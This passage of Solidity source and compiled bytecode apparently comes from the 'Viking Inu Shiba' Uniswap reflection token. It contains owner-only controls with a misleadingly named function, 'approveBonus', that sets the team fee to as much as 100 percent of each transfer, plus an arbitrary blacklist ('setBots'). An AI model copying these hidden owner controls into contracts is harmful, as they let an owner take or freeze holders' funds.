_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function approveBonus(uint256 amt) external onlyOwner() {
require(amt <= 100, "Amount must be less than 100");
require(amt >= 0, "Amount must be greater than 0");
_teamFee = amt;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a146105ad578063c3c8cd8014610672578063c9567bf914610689578063d543dbeb146106a0578063dd62ed3e146106db5761011f565b806370a08231146103ef578063715018a6146104545780638da5cb5b1461046b57806395d89b41146104ac578063a9059cbb1461053c5761011f565b8063273123b7116100e7578063273123b7146102e15780632eb0619014610332578063313ce5671461036d5780635932ead11461039b5780636fc3eaec146103d85761011f565b806306fdde0314610124578063095ea7b3146101b457806318160ddd1461022557806323b872dd146102505761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610760565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c057600080fd5b5061020d600480360360408110156101d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079d565b60405180821515815260200191505060405180910390f35b34801561023157600080fd5b5061023a6107bb565b6040518082815260200191505060405180910390f35b34801561025c57600080fd5b506102c96004803603606081101561027357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107cc565b60405180821515815260200191505060405180910390f35b3480156102ed57600080fd5b506103306004803603602081101561030457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108a5565b005b34801561033e57600080fd5b5061036b6004803603602081101561035557600080fd5b81019080803590602001909291905050506109c8565b005b34801561037957600080fd5b50610382610b88565b604051808260ff16815260200191505060405180910390f35b3480156103a757600080fd5b506103d6600480360360208110156103be57600080fd5b81019080803515159060200190929190505050610b91565b005b3480156103e457600080fd5b506103ed610c76565b005b3480156103fb57600080fd5b5061043e6004803603602081101561041257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce8565b6040518082815260200191505060405180910390f35b34801561046057600080fd5b50610469610dd3565b005b34801561047757600080fd5b50610480610f59565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b857600080fd5b506104c1610f82565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105015780820151818401526020810190506104e6565b50505050905090810190601f16801561052e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054857600080fd5b506105956004803603604081101561055f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fbf565b60405180821515815260200191505060405180910390f35b3480156105b957600080fd5b50610670600480360360208110156105d057600080fd5b81019080803590602001906401000000008111156105ed57600080fd5b8201836020820111156105ff57600080fd5b8035906020019184602083028401116401000000008311171561062157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610fdd565b005b34801561067e57600080fd5b5061068761112d565b005b34801561069557600080fd5b5061069e6111a7565b005b3480156106ac57600080fd5b506106d9600480360360208110156106c357600080fd5b8101908080359060200190929190505050611825565b005b3480156106e757600080fd5b5061074a600480360360408110156106fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d4565b6040518082815260200191505060405180910390f35b60606040518060400160405280601081526020017f56696b696e6720496e7520536869626100000000000000000000000000000000815250905090565b60006107b16107aa611a5b565b8484611a63565b6001905092915050565b600068056bc75e2d63100000905090565b60006107d9848484611c5a565b61089a846107e5611a5b565b61089585604051806060016040528060288152602001613f1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084b611a5b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124859092919063ffffffff16565b611a63565b600190509392505050565b6108ad611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6109d0611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a90576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6064811115610b07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f416d6f756e74206d757374206265206c657373207468616e203130300000000081525060200191505060405180910390fd5b6000811015610b7e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b80600d8190555050565b60006009905090565b610b99611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cb7611a5b565b73ffffffffffffffffffffffffffffffffffffffff1614610cd757600080fd5b6000479050610ce581612545565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d8357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610dce565b610dcb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612640565b90505b919050565b610ddb611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601081526020017f56494b494e47205348494241f09f8dba00000000000000000000000000000000815250905090565b6000610fd3610fcc611a5b565b8484611c5a565b6001905092915050565b610fe5611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015611129576001600760008484815181106110c357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506110a8565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661116e611a5b565b73ffffffffffffffffffffffffffffffffffffffff161461118e57600080fd5b600061119930610ce8565b90506111a4816126c4565b50565b6111af611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156112f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061138230601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d63100000611a63565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156113c857600080fd5b505afa1580156113dc573d6000803e3d6000fd5b505050506040513d60208110156113f257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561146557600080fd5b505afa158015611479573d6000803e3d6000fd5b505050506040513d602081101561148f57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561150957600080fd5b505af115801561151d573d6000803e3d6000fd5b505050506040513d602081101561153357600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306115cd30610ce8565b6000806115d8610f59565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561165d57600080fd5b505af1158015611671573d6000803e3d6000fd5b50505050506040513d606081101561168857600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff02191690831515021790555068056bc75e2d631000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156117e657600080fd5b505af11580156117fa573d6000803e3d6000fd5b505050506040513d602081101561181057600080fd5b81019080805190602001909291905050505050565b61182d611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61199260646119848368056bc75e2d631000006129ae90919063ffffffff16565b612a3490919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f896024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ed06022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f646025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e836023913960400191505060405180910390fd5b60008111611dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f3b6029913960400191505060405180910390fd5b611dc7610f59565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e355750611e05610f59565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156123c257601360179054906101000a900460ff161561209b573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611eb757503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f115750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f6b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561209a57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb1611a5b565b73ffffffffffffffffffffffffffffffffffffffff1614806120275750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661200f611a5b565b73ffffffffffffffffffffffffffffffffffffffff16145b612099576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b6014548111156120aa57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561214e5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61215757600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122025750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122585750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122705750601360179054906101000a900460ff165b156123085742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106122c057600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061231330610ce8565b9050601360159054906101000a900460ff161580156123805750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156123985750601360169054906101000a900460ff165b156123c0576123a6816126c4565b600047905060008111156123be576123bd47612545565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124695750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561247357600090505b61247f84848484612a7e565b50505050565b6000838311158290612532576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124f75780820151818401526020810190506124dc565b50505050905090810190601f1680156125245780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612595600284612a3490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156125c0573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612611600284612a3490919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561263c573d6000803e3d6000fd5b5050565b6000600a5482111561269d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613ea6602a913960400191505060405180910390fd5b60006126a7612cd5565b90506126bc8184612a3490919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126f957600080fd5b506040519080825280602002602001820160405280156127285781602001602082028036833780820191505090505b509050308160008151811061273957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127db57600080fd5b505afa1580156127ef573d6000803e3d6000fd5b505050506040513d602081101561280557600080fd5b81019080805190602001909291905050508160018151811061282357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061288a30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a63565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561294e578082015181840152602081019050612933565b505050509050019650505050505050600060405180830381600087803b15801561297757600080fd5b505af115801561298b573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129c15760009050612a2e565b60008284029050828482816129d257fe5b0414612a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ef26021913960400191505060405180910390fd5b809150505b92915050565b6000612a7683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d00565b905092915050565b80612a8c57612a8b612dc6565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b2f5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b4457612b3f848484612e09565b612cc1565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612be75750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bfc57612bf7848484613069565b612cc0565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c9e5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612cb357612cae8484846132c9565b612cbf565b612cbe8484846135be565b5b5b5b80612ccf57612cce613789565b5b50505050565b6000806000612ce261379d565b91509150612cf98183612a3490919063ffffffff16565b9250505090565b60008083118290612dac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d71578082015181840152602081019050612d56565b50505050905090810190601f168015612d9e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612db857fe5b049050809150509392505050565b6000600c54148015612dda57506000600d54145b15612de457612e07565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612e1b87613a4a565b955095509550955095509550612e7987600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ab290919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081